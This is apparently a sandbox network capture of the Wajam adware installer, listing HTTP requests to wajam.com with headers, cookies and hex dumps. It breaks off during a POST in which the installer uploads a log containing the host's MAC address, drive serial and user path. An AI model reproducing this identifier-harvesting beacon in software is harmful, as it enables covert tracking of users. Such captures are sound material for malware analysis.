   100 : 26 65 6E 61 62 6C 65 64 3D 31 26 74 76 3D 31 2E [&enabled=1&tv=1.]
   110 : 39 32 2D 31 33 26 69 6E 73 74 61 6C 6C 5F 74 69 [92-13&install_ti]
   120 : 6D 65 73 74 61 6D 70 3D 31 35 36 30 39 36 35 38 [mestamp=15609658]
   130 : 33 31 26 63 6C 70 3D 0D 0A 41 63 63 65 70 74 2D [31&clp=..Accept-]
   140 : 4C 61 6E 67 75 61 67 65 3A 20 65 6E 2D 55 53 0D [Language: en-US.]
   150 : 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A [.User-Agent: Moz]
   160 : 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 [illa/5.0 (Window]
   170 : 73 20 4E 54 20 36 2E 31 3B 20 54 72 69 64 65 6E [s NT 6.1; Triden]
   180 : 74 2F 37 2E 30 3B 20 72 76 3A 31 31 2E 30 29 20 [t/7.0; rv:11.0) ]
   190 : 6C 69 6B 65 20 47 65 63 6B 6F 0D 0A 41 63 63 65 [like Gecko..Acce]
   1A0 : 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A 69 [pt-Encoding: gzi]
   1B0 : 70 2C 20 64 65 66 6C 61 74 65 0D 0A 48 6F 73 74 [p, deflate..Host]
   1C0 : 3A 20 77 77 77 2E 77 61 6A 61 6D 2E 63 6F 6D 0D [: www.wajam.com.]
   1D0 : 0A 44 4E 54 3A 20 31 0D 0A 43 6F 6E 6E 65 63 74 [.DNT: 1..Connect]
   1E0 : 69 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 0D [ion: Keep-Alive.]
   1F0 : 0A 43 6F 6F 6B 69 65 3A 20 5F 77 61 75 3D 31 35 [.Cookie: _wau=15]
   200 : 36 30 39 35 38 35 35 33 38 36 37 31 35 34 30 3B [609585538671540;]
   210 : 20 5F 77 61 6C 3D 31 35 36 30 39 35 38 35 38 38 [ _wal=1560958588]
   220 : 3B 20 50 48 50 53 45 53 53 49 44 3D 32 33 39 64 [; PHPSESSID=239d]
   230 : 63 39 32 38 63 61 73 6D 32 30 6F 6D 6D 66 6E 6A [c928casm20ommfnj]
   240 : 61 67 65 76 66 64 3B 20 6E 6F 74 5F 6C 6F 67 67 [agevfd; not_logg]
   250 : 65 64 5F 75 6E 69 71 75 65 5F 69 64 3D 43 37 43 [ed_unique_id=C7C]
   260 : 39 32 44 38 37 46 31 45 46 32 42 43 35 34 42 46 [92D87F1EF2BC54BF]
   270 : 31 46 33 38 32 45 35 39 34 39 38 35 37 3B 20 77 [1F382E5949857; w]
   280 : 61 6A 61 6D 5F 69 65 5F 61 64 64 6F 6E 5F 69 6E [ajam_ie_addon_in]
   290 : 73 74 61 6C 6C 65 64 3D 31 3B 20 41 50 50 53 45 [stalled=1; APPSE]
   2A0 : 53 53 49 44 3D 77 33 7C 58 51 70 57 70 7C 58 51 [SSID=w3|XQpWp|XQ]
   2B0 : 70 57 70 0D 0A 0D 0A [pWp....]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/css/min_fancybox.css?1.00434.0

GET /css/min_fancybox.css?1.00434.0 HTTP/1.1 Accept: text/css, */* Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: www.wajam.com DNT: 1 Connection: Keep-Alive Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_u... More Details

Format

Details

Request

GET /css/min_fancybox.css?1.00434.0 HTTP/1.1
Accept: text/css, */*
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: www.wajam.com
DNT: 1
Connection: Keep-Alive
Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 94 0B 89 40 00 80 06 AB 3B C0 A8 F0 F9 05 87 [....@....;......]
    20 : 8A 76 C0 FA 00 50 8D E5 28 B1 3B 8D 32 81 50 18 [.v...P..(.;.2.P.]
    30 : FA F0 4C BF 00 00 47 45 54 20 2F 63 73 73 2F 6D [..L...GET /css/m]
    40 : 69 6E 5F 66 61 6E 63 79 62 6F 78 2E 63 73 73 3F [in_fancybox.css?]
    50 : 31 2E 30 30 34 33 34 2E 30 20 48 54 54 50 2F 31 [1.00434.0 HTTP/1]
    60 : 2E 31 0D 0A 41 63 63 65 70 74 3A 20 74 65 78 74 [.1..Accept: text]
    70 : 2F 63 73 73 2C 20 2A 2F 2A 0D 0A 52 65 66 65 72 [/css, */*..Refer]
    80 : 65 72 3A 20 68 74 74 70 3A 2F 2F 77 77 77 2E 77 [er: http://www.w]
    90 : 61 6A 61 6D 2E 63 6F 6D 2F 69 6E 64 65 78 2E 70 [ajam.com/index.p]
    A0 : 68 70 3F 66 69 72 73 74 72 75 6E 3D 31 26 75 6E [hp?firstrun=1&un]
    B0 : 69 71 75 65 5F 69 64 3D 43 37 43 39 32 44 38 37 [ique_id=C7C92D87]
    C0 : 46 31 45 46 32 42 43 35 34 42 46 31 46 33 38 32 [F1EF2BC54BF1F382]
    D0 : 45 35 39 34 39 38 35 37 26 61 69 64 3D 33 36 37 [E5949857&aid=367]
    E0 : 33 26 61 69 64 32 3D 6E 6F 6E 65 26 65 6E 61 62 [3&aid2=none&enab]
    F0 : 6C 65 64 3D 31 26 74 76 3D 31 2E 39 32 2D 31 33 [led=1&tv=1.92-13]
   100 : 26 69 6E 73 74 61 6C 6C 5F 74 69 6D 65 73 74 61 [&install_timesta]
   110 : 6D 70 3D 31 35 36 30 39 36 35 38 33 31 26 63 6C [mp=1560965831&cl]
   120 : 70 3D 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 [p=..Accept-Langu]
   130 : 61 67 65 3A 20 65 6E 2D 55 53 0D 0A 55 73 65 72 [age: en-US..User]
   140 : 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F [-Agent: Mozilla/]
   150 : 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 20 [5.0 (Windows NT ]
   160 : 36 2E 31 3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 [6.1; Trident/7.0]
   170 : 3B 20 72 76 3A 31 31 2E 30 29 20 6C 69 6B 65 20 [; rv:11.0) like ]
   180 : 47 65 63 6B 6F 0D 0A 41 63 63 65 70 74 2D 45 6E [Gecko..Accept-En]
   190 : 63 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 20 64 65 [coding: gzip, de]
   1A0 : 66 6C 61 74 65 0D 0A 48 6F 73 74 3A 20 77 77 77 [flate..Host: www]
   1B0 : 2E 77 61 6A 61 6D 2E 63 6F 6D 0D 0A 44 4E 54 3A [.wajam.com..DNT:]
   1C0 : 20 31 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 [ 1..Connection: ]
   1D0 : 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 43 6F 6F 6B [Keep-Alive..Cook]
   1E0 : 69 65 3A 20 5F 77 61 75 3D 31 35 36 30 39 35 38 [ie: _wau=1560958]
   1F0 : 35 35 33 38 36 37 31 35 34 30 3B 20 5F 77 61 6C [5538671540; _wal]
   200 : 3D 31 35 36 30 39 35 38 35 38 38 3B 20 50 48 50 [=1560958588; PHP]
   210 : 53 45 53 53 49 44 3D 32 33 39 64 63 39 32 38 63 [SESSID=239dc928c]
   220 : 61 73 6D 32 30 6F 6D 6D 66 6E 6A 61 67 65 76 66 [asm20ommfnjagevf]
   230 : 64 3B 20 6E 6F 74 5F 6C 6F 67 67 65 64 5F 75 6E [d; not_logged_un]
   240 : 69 71 75 65 5F 69 64 3D 43 37 43 39 32 44 38 37 [ique_id=C7C92D87]
   250 : 46 31 45 46 32 42 43 35 34 42 46 31 46 33 38 32 [F1EF2BC54BF1F382]
   260 : 45 35 39 34 39 38 35 37 3B 20 77 61 6A 61 6D 5F [E5949857; wajam_]
   270 : 69 65 5F 61 64 64 6F 6E 5F 69 6E 73 74 61 6C 6C [ie_addon_install]
   280 : 65 64 3D 31 3B 20 41 50 50 53 45 53 53 49 44 3D [ed=1; APPSESSID=]
   290 : 77 33 7C 58 51 70 57 70 7C 58 51 70 57 70 0D 0A [w3|XQpWp|XQpWp..]
   2A0 : 0D 0A [..]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/css/min_signup.css?1.00434.0

GET /css/min_signup.css?1.00434.0 HTTP/1.1 Accept: text/css, */* Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: www.wajam.com DNT: 1 Connection: Keep-Alive Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_uni... More Details

Format

Details

Request

GET /css/min_signup.css?1.00434.0 HTTP/1.1
Accept: text/css, */*
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: www.wajam.com
DNT: 1
Connection: Keep-Alive
Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 92 0B 8B 40 00 80 06 AB 3B C0 A8 F0 F9 05 87 [....@....;......]
    20 : 8A 76 C0 FB 00 50 6B D0 05 22 BB 68 8A 0A 50 18 [.v...Pk..".h..P.]
    30 : FA F0 12 6D 00 00 47 45 54 20 2F 63 73 73 2F 6D [...m..GET /css/m]
    40 : 69 6E 5F 73 69 67 6E 75 70 2E 63 73 73 3F 31 2E [in_signup.css?1.]
    50 : 30 30 34 33 34 2E 30 20 48 54 54 50 2F 31 2E 31 [00434.0 HTTP/1.1]
    60 : 0D 0A 41 63 63 65 70 74 3A 20 74 65 78 74 2F 63 [..Accept: text/c]
    70 : 73 73 2C 20 2A 2F 2A 0D 0A 52 65 66 65 72 65 72 [ss, */*..Referer]
    80 : 3A 20 68 74 74 70 3A 2F 2F 77 77 77 2E 77 61 6A [: http://www.waj]
    90 : 61 6D 2E 63 6F 6D 2F 69 6E 64 65 78 2E 70 68 70 [am.com/index.php]
    A0 : 3F 66 69 72 73 74 72 75 6E 3D 31 26 75 6E 69 71 [?firstrun=1&uniq]
    B0 : 75 65 5F 69 64 3D 43 37 43 39 32 44 38 37 46 31 [ue_id=C7C92D87F1]
    C0 : 45 46 32 42 43 35 34 42 46 31 46 33 38 32 45 35 [EF2BC54BF1F382E5]
    D0 : 39 34 39 38 35 37 26 61 69 64 3D 33 36 37 33 26 [949857&aid=3673&]
    E0 : 61 69 64 32 3D 6E 6F 6E 65 26 65 6E 61 62 6C 65 [aid2=none&enable]
    F0 : 64 3D 31 26 74 76 3D 31 2E 39 32 2D 31 33 26 69 [d=1&tv=1.92-13&i]
   100 : 6E 73 74 61 6C 6C 5F 74 69 6D 65 73 74 61 6D 70 [nstall_timestamp]
   110 : 3D 31 35 36 30 39 36 35 38 33 31 26 63 6C 70 3D [=1560965831&clp=]
   120 : 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 67 [..Accept-Languag]
   130 : 65 3A 20 65 6E 2D 55 53 0D 0A 55 73 65 72 2D 41 [e: en-US..User-A]
   140 : 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E [gent: Mozilla/5.]
   150 : 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E [0 (Windows NT 6.]
   160 : 31 3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 [1; Trident/7.0; ]
   170 : 72 76 3A 31 31 2E 30 29 20 6C 69 6B 65 20 47 65 [rv:11.0) like Ge]
   180 : 63 6B 6F 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F [cko..Accept-Enco]
   190 : 64 69 6E 67 3A 20 67 7A 69 70 2C 20 64 65 66 6C [ding: gzip, defl]
   1A0 : 61 74 65 0D 0A 48 6F 73 74 3A 20 77 77 77 2E 77 [ate..Host: www.w]
   1B0 : 61 6A 61 6D 2E 63 6F 6D 0D 0A 44 4E 54 3A 20 31 [ajam.com..DNT: 1]
   1C0 : 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 [..Connection: Ke]
   1D0 : 65 70 2D 41 6C 69 76 65 0D 0A 43 6F 6F 6B 69 65 [ep-Alive..Cookie]
   1E0 : 3A 20 5F 77 61 75 3D 31 35 36 30 39 35 38 35 35 [: _wau=156095855]
   1F0 : 33 38 36 37 31 35 34 30 3B 20 5F 77 61 6C 3D 31 [38671540; _wal=1]
   200 : 35 36 30 39 35 38 35 38 38 3B 20 50 48 50 53 45 [560958588; PHPSE]
   210 : 53 53 49 44 3D 32 33 39 64 63 39 32 38 63 61 73 [SSID=239dc928cas]
   220 : 6D 32 30 6F 6D 6D 66 6E 6A 61 67 65 76 66 64 3B [m20ommfnjagevfd;]
   230 : 20 6E 6F 74 5F 6C 6F 67 67 65 64 5F 75 6E 69 71 [ not_logged_uniq]
   240 : 75 65 5F 69 64 3D 43 37 43 39 32 44 38 37 46 31 [ue_id=C7C92D87F1]
   250 : 45 46 32 42 43 35 34 42 46 31 46 33 38 32 45 35 [EF2BC54BF1F382E5]
   260 : 39 34 39 38 35 37 3B 20 77 61 6A 61 6D 5F 69 65 [949857; wajam_ie]
   270 : 5F 61 64 64 6F 6E 5F 69 6E 73 74 61 6C 6C 65 64 [_addon_installed]
   280 : 3D 31 3B 20 41 50 50 53 45 53 53 49 44 3D 77 33 [=1; APPSESSID=w3]
   290 : 7C 58 51 70 57 70 7C 58 51 70 57 70 0D 0A 0D 0A [|XQpWp|XQpWp....]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/css/min_general.css?1.00434.0

GET /css/min_general.css?1.00434.0 HTTP/1.1 Accept: text/css, */* Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: www.wajam.com DNT: 1 Connection: Keep-Alive Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_un... More Details

Format

Details

Request

GET /css/min_general.css?1.00434.0 HTTP/1.1
Accept: text/css, */*
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: www.wajam.com
DNT: 1
Connection: Keep-Alive
Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 93 0B 8D 40 00 80 06 AB 38 C0 A8 F0 F9 05 87 [....@....8......]
    20 : 8A 76 C0 FC 00 50 90 E7 AB 84 9B 9D EC F2 50 18 [.v...P........P.]
    30 : FA F0 3C 53 00 00 47 45 54 20 2F 63 73 73 2F 6D [..<S..GET /css/m]
    40 : 69 6E 5F 67 65 6E 65 72 61 6C 2E 63 73 73 3F 31 [in_general.css?1]
    50 : 2E 30 30 34 33 34 2E 30 20 48 54 54 50 2F 31 2E [.00434.0 HTTP/1.]
    60 : 31 0D 0A 41 63 63 65 70 74 3A 20 74 65 78 74 2F [1..Accept: text/]
    70 : 63 73 73 2C 20 2A 2F 2A 0D 0A 52 65 66 65 72 65 [css, */*..Refere]
    80 : 72 3A 20 68 74 74 70 3A 2F 2F 77 77 77 2E 77 61 [r: http://www.wa]
    90 : 6A 61 6D 2E 63 6F 6D 2F 69 6E 64 65 78 2E 70 68 [jam.com/index.ph]
    A0 : 70 3F 66 69 72 73 74 72 75 6E 3D 31 26 75 6E 69 [p?firstrun=1&uni]
    B0 : 71 75 65 5F 69 64 3D 43 37 43 39 32 44 38 37 46 [que_id=C7C92D87F]
    C0 : 31 45 46 32 42 43 35 34 42 46 31 46 33 38 32 45 [1EF2BC54BF1F382E]
    D0 : 35 39 34 39 38 35 37 26 61 69 64 3D 33 36 37 33 [5949857&aid=3673]
    E0 : 26 61 69 64 32 3D 6E 6F 6E 65 26 65 6E 61 62 6C [&aid2=none&enabl]
    F0 : 65 64 3D 31 26 74 76 3D 31 2E 39 32 2D 31 33 26 [ed=1&tv=1.92-13&]
   100 : 69 6E 73 74 61 6C 6C 5F 74 69 6D 65 73 74 61 6D [install_timestam]
   110 : 70 3D 31 35 36 30 39 36 35 38 33 31 26 63 6C 70 [p=1560965831&clp]
   120 : 3D 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 [=..Accept-Langua]
   130 : 67 65 3A 20 65 6E 2D 55 53 0D 0A 55 73 65 72 2D [ge: en-US..User-]
   140 : 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 [Agent: Mozilla/5]
   150 : 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 20 36 [.0 (Windows NT 6]
   160 : 2E 31 3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B [.1; Trident/7.0;]
   170 : 20 72 76 3A 31 31 2E 30 29 20 6C 69 6B 65 20 47 [ rv:11.0) like G]
   180 : 65 63 6B 6F 0D 0A 41 63 63 65 70 74 2D 45 6E 63 [ecko..Accept-Enc]
   190 : 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 20 64 65 66 [oding: gzip, def]
   1A0 : 6C 61 74 65 0D 0A 48 6F 73 74 3A 20 77 77 77 2E [late..Host: www.]
   1B0 : 77 61 6A 61 6D 2E 63 6F 6D 0D 0A 44 4E 54 3A 20 [wajam.com..DNT: ]
   1C0 : 31 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B [1..Connection: K]
   1D0 : 65 65 70 2D 41 6C 69 76 65 0D 0A 43 6F 6F 6B 69 [eep-Alive..Cooki]
   1E0 : 65 3A 20 5F 77 61 75 3D 31 35 36 30 39 35 38 35 [e: _wau=15609585]
   1F0 : 35 33 38 36 37 31 35 34 30 3B 20 5F 77 61 6C 3D [538671540; _wal=]
   200 : 31 35 36 30 39 35 38 35 38 38 3B 20 50 48 50 53 [1560958588; PHPS]
   210 : 45 53 53 49 44 3D 32 33 39 64 63 39 32 38 63 61 [ESSID=239dc928ca]
   220 : 73 6D 32 30 6F 6D 6D 66 6E 6A 61 67 65 76 66 64 [sm20ommfnjagevfd]
   230 : 3B 20 6E 6F 74 5F 6C 6F 67 67 65 64 5F 75 6E 69 [; not_logged_uni]
   240 : 71 75 65 5F 69 64 3D 43 37 43 39 32 44 38 37 46 [que_id=C7C92D87F]
   250 : 31 45 46 32 42 43 35 34 42 46 31 46 33 38 32 45 [1EF2BC54BF1F382E]
   260 : 35 39 34 39 38 35 37 3B 20 77 61 6A 61 6D 5F 69 [5949857; wajam_i]
   270 : 65 5F 61 64 64 6F 6E 5F 69 6E 73 74 61 6C 6C 65 [e_addon_installe]
   280 : 64 3D 31 3B 20 41 50 50 53 45 53 53 49 44 3D 77 [d=1; APPSESSID=w]
   290 : 33 7C 58 51 70 57 70 7C 58 51 70 57 70 0D 0A 0D [3|XQpWp|XQpWp...]
   2A0 : 0A [.]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/imgs/feedback.png

GET /imgs/feedback.png HTTP/1.1 Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5 Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: www.wajam.com DNT: 1 Connection: Keep-Alive Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20om... More Details

Format

Details

Request

GET /imgs/feedback.png HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: www.wajam.com
DNT: 1
Connection: Keep-Alive
Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 AC 0B D7 40 00 80 06 AA D5 C0 A8 F0 F9 05 87 [....@...........]
    20 : 8A 76 C1 00 00 50 4B AF 28 44 61 A9 E1 F9 50 18 [.v...PK.(Da...P.]
    30 : FA F0 AD F8 00 00 47 45 54 20 2F 69 6D 67 73 2F [......GET /imgs/]
    40 : 66 65 65 64 62 61 63 6B 2E 70 6E 67 20 48 54 54 [feedback.png HTT]
    50 : 50 2F 31 2E 31 0D 0A 41 63 63 65 70 74 3A 20 69 [P/1.1..Accept: i]
    60 : 6D 61 67 65 2F 70 6E 67 2C 20 69 6D 61 67 65 2F [mage/png, image/]
    70 : 73 76 67 2B 78 6D 6C 2C 20 69 6D 61 67 65 2F 2A [svg+xml, image/*]
    80 : 3B 71 3D 30 2E 38 2C 20 2A 2F 2A 3B 71 3D 30 2E [;q=0.8, */*;q=0.]
    90 : 35 0D 0A 52 65 66 65 72 65 72 3A 20 68 74 74 70 [5..Referer: http]
    A0 : 3A 2F 2F 77 77 77 2E 77 61 6A 61 6D 2E 63 6F 6D [://www.wajam.com]
    B0 : 2F 69 6E 64 65 78 2E 70 68 70 3F 66 69 72 73 74 [/index.php?first]
    C0 : 72 75 6E 3D 31 26 75 6E 69 71 75 65 5F 69 64 3D [run=1&unique_id=]
    D0 : 43 37 43 39 32 44 38 37 46 31 45 46 32 42 43 35 [C7C92D87F1EF2BC5]
    E0 : 34 42 46 31 46 33 38 32 45 35 39 34 39 38 35 37 [4BF1F382E5949857]
    F0 : 26 61 69 64 3D 33 36 37 33 26 61 69 64 32 3D 6E [&aid=3673&aid2=n]
   100 : 6F 6E 65 26 65 6E 61 62 6C 65 64 3D 31 26 74 76 [one&enabled=1&tv]
   110 : 3D 31 2E 39 32 2D 31 33 26 69 6E 73 74 61 6C 6C [=1.92-13&install]
   120 : 5F 74 69 6D 65 73 74 61 6D 70 3D 31 35 36 30 39 [_timestamp=15609]
   130 : 36 35 38 33 31 26 63 6C 70 3D 0D 0A 41 63 63 65 [65831&clp=..Acce]
   140 : 70 74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 6E 2D [pt-Language: en-]
   150 : 55 53 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 [US..User-Agent: ]
   160 : 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E [Mozilla/5.0 (Win]
   170 : 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 54 72 69 [dows NT 6.1; Tri]
   180 : 64 65 6E 74 2F 37 2E 30 3B 20 72 76 3A 31 31 2E [dent/7.0; rv:11.]
   190 : 30 29 20 6C 69 6B 65 20 47 65 63 6B 6F 0D 0A 41 [0) like Gecko..A]
   1A0 : 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 [ccept-Encoding: ]
   1B0 : 67 7A 69 70 2C 20 64 65 66 6C 61 74 65 0D 0A 48 [gzip, deflate..H]
   1C0 : 6F 73 74 3A 20 77 77 77 2E 77 61 6A 61 6D 2E 63 [ost: www.wajam.c]
   1D0 : 6F 6D 0D 0A 44 4E 54 3A 20 31 0D 0A 43 6F 6E 6E [om..DNT: 1..Conn]
   1E0 : 65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 [ection: Keep-Ali]
   1F0 : 76 65 0D 0A 43 6F 6F 6B 69 65 3A 20 5F 77 61 75 [ve..Cookie: _wau]
   200 : 3D 31 35 36 30 39 35 38 35 35 33 38 36 37 31 35 [=156095855386715]
   210 : 34 30 3B 20 5F 77 61 6C 3D 31 35 36 30 39 35 38 [40; _wal=1560958]
   220 : 35 38 38 3B 20 50 48 50 53 45 53 53 49 44 3D 32 [588; PHPSESSID=2]
   230 : 33 39 64 63 39 32 38 63 61 73 6D 32 30 6F 6D 6D [39dc928casm20omm]
   240 : 66 6E 6A 61 67 65 76 66 64 3B 20 6E 6F 74 5F 6C [fnjagevfd; not_l]
   250 : 6F 67 67 65 64 5F 75 6E 69 71 75 65 5F 69 64 3D [ogged_unique_id=]
   260 : 43 37 43 39 32 44 38 37 46 31 45 46 32 42 43 35 [C7C92D87F1EF2BC5]
   270 : 34 42 46 31 46 33 38 32 45 35 39 34 39 38 35 37 [4BF1F382E5949857]
   280 : 3B 20 77 61 6A 61 6D 5F 69 65 5F 61 64 64 6F 6E [; wajam_ie_addon]
   290 : 5F 69 6E 73 74 61 6C 6C 65 64 3D 31 3B 20 41 50 [_installed=1; AP]
   2A0 : 50 53 45 53 53 49 44 3D 77 33 7C 58 51 70 57 70 [PSESSID=w3|XQpWp]
   2B0 : 7C 58 51 70 57 70 0D 0A 0D 0A [|XQpWp....]

5.135.138.118:80 (www.wajam.com)

POST

www.wajam.com/client_send_debug_info.php?v=i1.92&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&major_version=6&minor_versi...

Format	Details
Request	POST /client_send_debug_info.php?v=i1.92&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&major_version=6&minor_version=1 HTTP/1.1 Content-Type: application/x-www-form-urlencoded Filename: install.log User-Agent: NSIS_Inetc (Mozilla) Host: www.wajam.com Content-Length: 10769 Connection: Keep-Alive Cache-Control: no-cache Function: .OnInit settings logging to 0 logging set to 1 DEFAULT: Finding the default browser in: C:\Program Files\Internet Explorer\iexplore.exe settings logging to 0 logging set to 1 DEFAULT: Default browser is iexplore.exe settings logging to 0 logging set to 1 P: original '' P: default_aid: '3673' P: param_silent: 'false' P: install_ie: 'true' P: install_ch: 'true' P: install_ff: 'true' P: command_line_parameters: '' P: decoded_argument_string: '' P: param_aid: '3673' P: param_no_restart_dialog: 'true' P: param_sleep: '' P: param_no_trace: 'true' P: param_dont_use_post: 'true' settings logging to 0 logging set to 1 TR: http://www.wajam.com/installer/start?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857 (1) C: Drive: 'C:\' C: Mac Address was: '7E:E5:74:0D:57:26' C: LocalAppData: 'C:\Users\HAPUBWS\AppData\Local' C: Drive Serial was: 085CDA53 C: Unique_id: C7C92D87F1EF2BC54BF1F382E5949857 C: BuildLabEx: 6 Call: 1101 Call: 2475 File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\System.dll" File: skipped: "C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\System.dll" (overwriteflag=1) Call: 2475 File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\System.dll" File: skipped: "C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\System.dll" (overwriteflag=1) New install of "Wajam" to "C:\Program Files\Wajam" Section: "Install Wajam on Firefox" Call: 2475 File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\MoreInfo.dll" File: wrote 7168 to "C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\MoreInfo.dll" Firefox 57.0.1 found at C:\Program Files\Mozilla Firefox\firefox.exe Jump: 1172 Firefox: Looking for profiles directory: 